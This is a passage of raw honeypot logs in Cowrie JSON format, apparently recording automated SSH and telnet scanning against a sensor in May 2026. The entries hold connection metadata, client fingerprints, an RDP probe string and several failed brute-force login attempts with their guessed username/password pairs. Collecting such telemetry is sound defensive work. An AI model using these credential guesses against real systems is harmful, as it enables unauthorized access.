gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:01.421078Z","src_ip":"80.94.92.186","session":"ad5732d8e70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:01.886742Z","src_ip":"80.94.92.186","session":"ad5732d8e70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:02.249186Z","src_ip":"115.91.48.142","session":"1f828828a59a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:03.268900Z","src_ip":"80.94.92.186","session":"ad5732d8e70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":60282,"dst_ip":"10.17.0.5","dst_port":22,"session":"736e08a2d7a4","protocol":"ssh","message":"New connection: 103.75.182.198:60282 (10.17.0.5:22) [session: 736e08a2d7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:04.694882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:04.701320Z","src_ip":"103.75.182.198","session":"736e08a2d7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:04.946222Z","src_ip":"103.75.182.198","session":"736e08a2d7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hjvfysx","message":"login attempt [root/hjvfysx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:05.684388Z","src_ip":"103.75.182.198","session":"736e08a2d7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:06.931061Z","src_ip":"103.75.182.198","session":"736e08a2d7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45180,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc47ebaf721","protocol":"ssh","message":"New connection: 193.32.162.151:45180 (159.203.135.109:22) [session: 5dc47ebaf721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:33.833910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:33.838282Z","src_ip":"193.32.162.151","session":"5dc47ebaf721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:33.944549Z","src_ip":"193.32.162.151","session":"5dc47ebaf721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyatta","password":"vyatta","message":"login attempt [vyatta/vyatta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:34.268949Z","src_ip":"193.32.162.151","session":"5dc47ebaf721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:35.378240Z","src_ip":"193.32.162.151","session":"5dc47ebaf721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"8faf74f0d6c4","protocol":"ssh","message":"New connection: 62.133.63.178:55518 (10.17.0.5:22) [session: 8faf74f0d6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:38.457192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:38.461638Z","src_ip":"62.133.63.178","session":"8faf74f0d6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:38.579090Z","src_ip":"62.133.63.178","session":"8faf74f0d6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfcbjgtz1981","message":"login attempt [root/rfcbjgtz1981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:38.939600Z","src_ip":"62.133.63.178","session":"8faf74f0d6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:40.062023Z","src_ip":"62.133.63.178","session":"8faf74f0d6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":56330,"dst_ip":"10.17.0.5","dst_port":22,"session":"be394d1af152","protocol":"ssh","message":"New connection: 150.109.20.59:56330 (10.17.0.5:22) [session: be394d1af152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:56.666602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:56.672778Z","src_ip":"150.109.20.59","session":"be394d1af152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:56.918499Z","src_ip":"150.109.20.59","session":"be394d1af152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000000000","message":"login attempt [root/0000000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:57.930509Z","src_ip":"150.109.20.59","session":"be394d1af152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:59.178489Z","src_ip":"150.109.20.59","session":"be394d1af152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":9525,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7917fca6edb","protocol":"ssh","message":"New connection: 182.253.79.194:9525 (10.17.0.5:22) [session: b7917fca6edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:13.713167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:13.717986Z","src_ip":"182.253.79.194","session":"b7917fca6edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:13.974159Z","src_ip":"182.253.79.194","session":"b7917fca6edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd@123456","message":"login attempt [root/asd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:15.042203Z","src_ip":"182.253.79.194","session":"b7917fca6edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":59108,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4550cdccfb7","protocol":"ssh","message":"New connection: 115.91.48.142:59108 (10.17.0.5:22) [session: c4550cdccfb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:15.836800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:15.842025Z","src_ip":"115.91.48.142","session":"c4550cdccfb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:16.053230Z","src_ip":"115.91.48.142","session":"c4550cdccfb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:16.300873Z","src_ip":"182.253.79.194","session":"b7917fca6edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"rahul123","message":"login attempt [rahul/rahul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:16.930633Z","src_ip":"115.91.48.142","session":"c4550cdccfb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:18.144316Z","src_ip":"115.91.48.142","session":"c4550cdccfb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":36492,"dst_ip":"159.203.135.109","dst_port":22,"session":"fde3b786b0cf","protocol":"ssh","message":"New connection: 103.27.238.120:36492 (159.203.135.109:22) [session: fde3b786b0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:21.494812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:21.498840Z","src_ip":"103.27.238.120","session":"fde3b786b0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:21.758215Z","src_ip":"103.27.238.120","session":"fde3b786b0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777q","message":"login attempt [root/7777777q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:22.529648Z","src_ip":"103.27.238.120","session":"fde3b786b0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:23.789371Z","src_ip":"103.27.238.120","session":"fde3b786b0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58155,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1b51ad44a1","protocol":"ssh","message":"New connection: 167.172.81.52:58155 (159.203.135.109:22) [session: 1d1b51ad44a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:31.046377Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:31.050009Z","src_ip":"167.172.81.52","session":"1d1b51ad44a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:31.053042Z","src_ip":"167.172.81.52","session":"1d1b51ad44a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61005,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6a9acd3811e","protocol":"ssh","message":"New connection: 152.42.212.128:61005 (10.17.0.5:22) [session: c6a9acd3811e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:32.652263Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:32.657662Z","src_ip":"152.42.212.128","session":"c6a9acd3811e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:53:32.661670Z","src_ip":"152.42.212.128","session":"c6a9acd3811e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":43428,"dst_ip":"159.203.135.109","dst_port":23,"session":"878dee0271f5","protocol":"telnet","message":"New connection: 201.205.247.46:43428 (159.203.135.109:23) [session: 878dee0271f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:24.473418Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":43431,"dst_ip":"159.203.135.109","dst_port":23,"session":"460f76888a84","protocol":"telnet","message":"New connection: 201.205.247.46:43431 (159.203.135.109:23) [session: 460f76888a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:27.654232Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":60900,"dst_ip":"10.17.0.5","dst_port":22,"session":"a090ed51205f","protocol":"ssh","message":"New connection: 150.109.20.59:60900 (10.17.0.5:22) [session: a090ed51205f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:27.688164Z"}
